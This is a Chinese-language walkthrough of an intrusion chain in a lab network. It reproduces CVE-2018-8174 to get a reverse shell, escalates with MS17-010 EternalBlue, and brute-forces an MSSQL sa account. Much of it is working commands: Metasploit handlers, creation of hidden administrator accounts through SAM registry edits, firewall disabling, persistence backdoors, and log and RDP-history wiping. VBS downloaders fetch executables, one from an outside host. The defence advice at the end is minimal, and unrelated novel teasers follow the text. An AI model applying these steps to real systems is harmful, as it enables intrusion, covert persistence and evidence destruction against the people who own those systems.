CVE-2018-8174漏洞复现及内网渗透攻击

本文已在i春秋论坛发表

本文涉及的知识点: CVE-2018-8174漏洞复现内网渗透权限维持脚本编程痕迹清除端口转发利用MS17-010提权

CVE-2018-8174漏洞简介

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用 它创建注册和文件。
参数解释:

  • A: 自动启动Payload程序
  • S: 系统启动时自动加载
  • U: 用户登录时自动启动
  • X: 开机时自动加载
  • i: 回连的时间间隔
  • P: 监听反向连接端口号
  • r: 目标机器IP地址

环境搭建

拓扑图

Win server 2008 对Windows 7开启1433端口

  1. 选择“打开或者关闭Windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

  2. 在“入站规则”里选择刚才创建的规则,名称是“1433”,如下图所示


  3. 在属性对话框中,选择“远程IP地址”时,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 对Windows7成功开启1433端口


内网攻击过程

1号机获得2号机的权限

利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户

  1. 从github上克隆CVE-2018-8174的EXP到Kali Linux
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  2. 生成恶意html和rtf文件
    cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444

  1. 将恶意html文件移动到网站根目录,启动apache2服务
    cp exploit.html /var/www/html/
    service apache2 start

  2. 新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"
  1. 受害者点击恶意链接
  1. 在kali里接收到了shell,可在meterpreter中管理shell
    发现非管理员权限
接收到反弹的shell
非管理员权限
  1. 使用MS17-010模块进行提权
    use auxiliary/scanner/smb/smb_ms17_010
    使用ms17-010模块

在运行该模块之前,需要设置相关选项,我们使用show options查看配 置信息

show options
  1. 需要设置目标地址,设置命令:set RHOSTS 192.168.114.138

9.设置完成后,执行run或exploit命令,等待执行结果,发现存在永恒之蓝漏洞


10.使用漏洞利用模块

use exploit/Windows/smb/ms17_010_eternalblue

11.查看配置信息,并设置标记为yes的属性,show options,目标机host 地址:192.168.114.138,set RHOST 192.168.114.138

  1. 选择载荷payload,也就是shellcode,此处我们选择回连至控制端 shell的payload

set payload Windows/x64/meterpreter/reverse_tcp

同样,载荷也需要进行配置,show options查看配置信息
配置中缺少本地主机 LHOST,设置一下

set LHOST 192.168.114.130

  1. 完成配置后,运行exploit或者run,开始执行漏洞利用模块
    成功获取来自目标主机的Session会话


  1. 查看受害者机器相关信息


15.成功使用MS17010获得系统权限

  1. 发现未开启3389端口


17.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP  dir=in localport=3389 action=allow
  1. 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server     /v fDenyTSConnections /t REG_DWORD /d 0 /f
  1. 成功打开3389端口


  2. 创建管理员用户Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add

  1. 使用Waldo账户远程登录
    portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

rdesktop 127.0.0.1 -u Waldo -p 123456hhhh.

添加超级隐藏管理员账户

net user test$ 123456 /add

net localgroup administrators test$ /add

但在管理账户面板依然能够看见,下面要解决这个问题


在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找 到新建的帐户test$

获取默认类型为0x3ec,将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

右键将该键导出为2.reg,保存的文件信息如下图

42.png

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如图

命令行删除特殊账户: net user test$ /del

导入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户
计算机管理-本地用户和组-用户也无法列出该帐户
但可通过如下方式查看: net user test$

命令窗口打开后,键入net user test$/active:yes。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用

端口转发:
portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超级隐藏账户登录:
rdesktop 127.0.0.1 -u test$ -p 123456

Windows 不会显示隐藏账户

使用vbs脚本上传SQLTOOLS.exe

脚本如下:

url = "http://wjs001.cn/lcx.exe"    '网络上的文件地址
saveas = "c:\lcx.exe"                '保存成的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象

Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求

stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件

'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

在shell下,创建文件夹: mkdir C:\\hack\\

将脚本上传到创建好的名为hack的文件夹下:

meterpreter > upload /root/down1.vps C:\\hack

查看C:\hack确认上传成功:


运行cscript down1.vbs,上传SQLTOOLS软件:


Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块

从Windows 7进攻Windows server 2008

对Windws server 2008的sa账户进行爆破

  1. 使用nmap扫描发现172.20.10.208开了1433端口

nmap -p1433 --open 172.20.10.0/24

  1. 使用ms-sql-brute模块对Win server 2008的sa账户进行爆破,获得用户名为sa,密码为123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208

利用sqltoos获取Win server 2008 的权限

  1. 使用sqltools进行sql连接


  2. 用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable

  1. 添加3389入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

4.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
开启3389端口
  1. 创建管理员用户Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add

添加用户Waldo2008
Waldo2008拥有管理员权限

Windows 7中远程登录Win server 2008

  1. 在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008

权限维持(Kali到Windows7)

run persistence -X -i 5 -p 1121 -r 192.168.114.130,这里在Meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加下图中倒数第一个[*],达到自启动的目的,-X参数指定启动的方式为开机自启动,-i参数指定反向连接的时间间隔

然后建立Meterpreter的客户端,在指定回来的1121端口进行监听,待Windows 7(192.168.114.138),等待后门重新连接,具体操作命令如下:

msfconsole 
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST 192.168.114.130
set lport 1121
run

痕迹清除

使用清除远程连接历史记录的BAT脚本

clearev命令

未清除时Windows 7(192.168.114.138)中的日志

脚本分析

目标机器下载程序的vbs脚本

注: 使用service apache2 start将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在/var/www/html目录下

url = "http://192.168.114.130/SQL.exe"    '网络上的文件地址
saveas = "C:\hack\SQL.exe"                '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

清除3389远程桌面连接记录的批处理脚本

@cls ::清屏
@color 0b ::设置默认的控制台前景和背景颜色
::REM清除mstsc历史记录
echo off ::echo off执行以后,后面所有的命令均不显示,但本条命令是显示的
mstsc
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f 
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
cd /d %USERPROFILE%
del *.rdp /a/s

解释:
/f: 不提示
/a: 删除隐藏文件

如何防御

1.不要打开任何来源不明的链接或Office文档

2.及时更新并安装微软发布的最新补丁

3.定期查看日志和管理用户界面

4.及时更新杀毒软件,并对计算机进行杀毒

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,757评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,478评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,540评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,593评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,903评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,329评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,659评论 2 309
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,383评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,055评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,337评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,864评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,227评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,820评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,999评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,750评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,365评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,260评论 2 258

推荐阅读更多精彩内容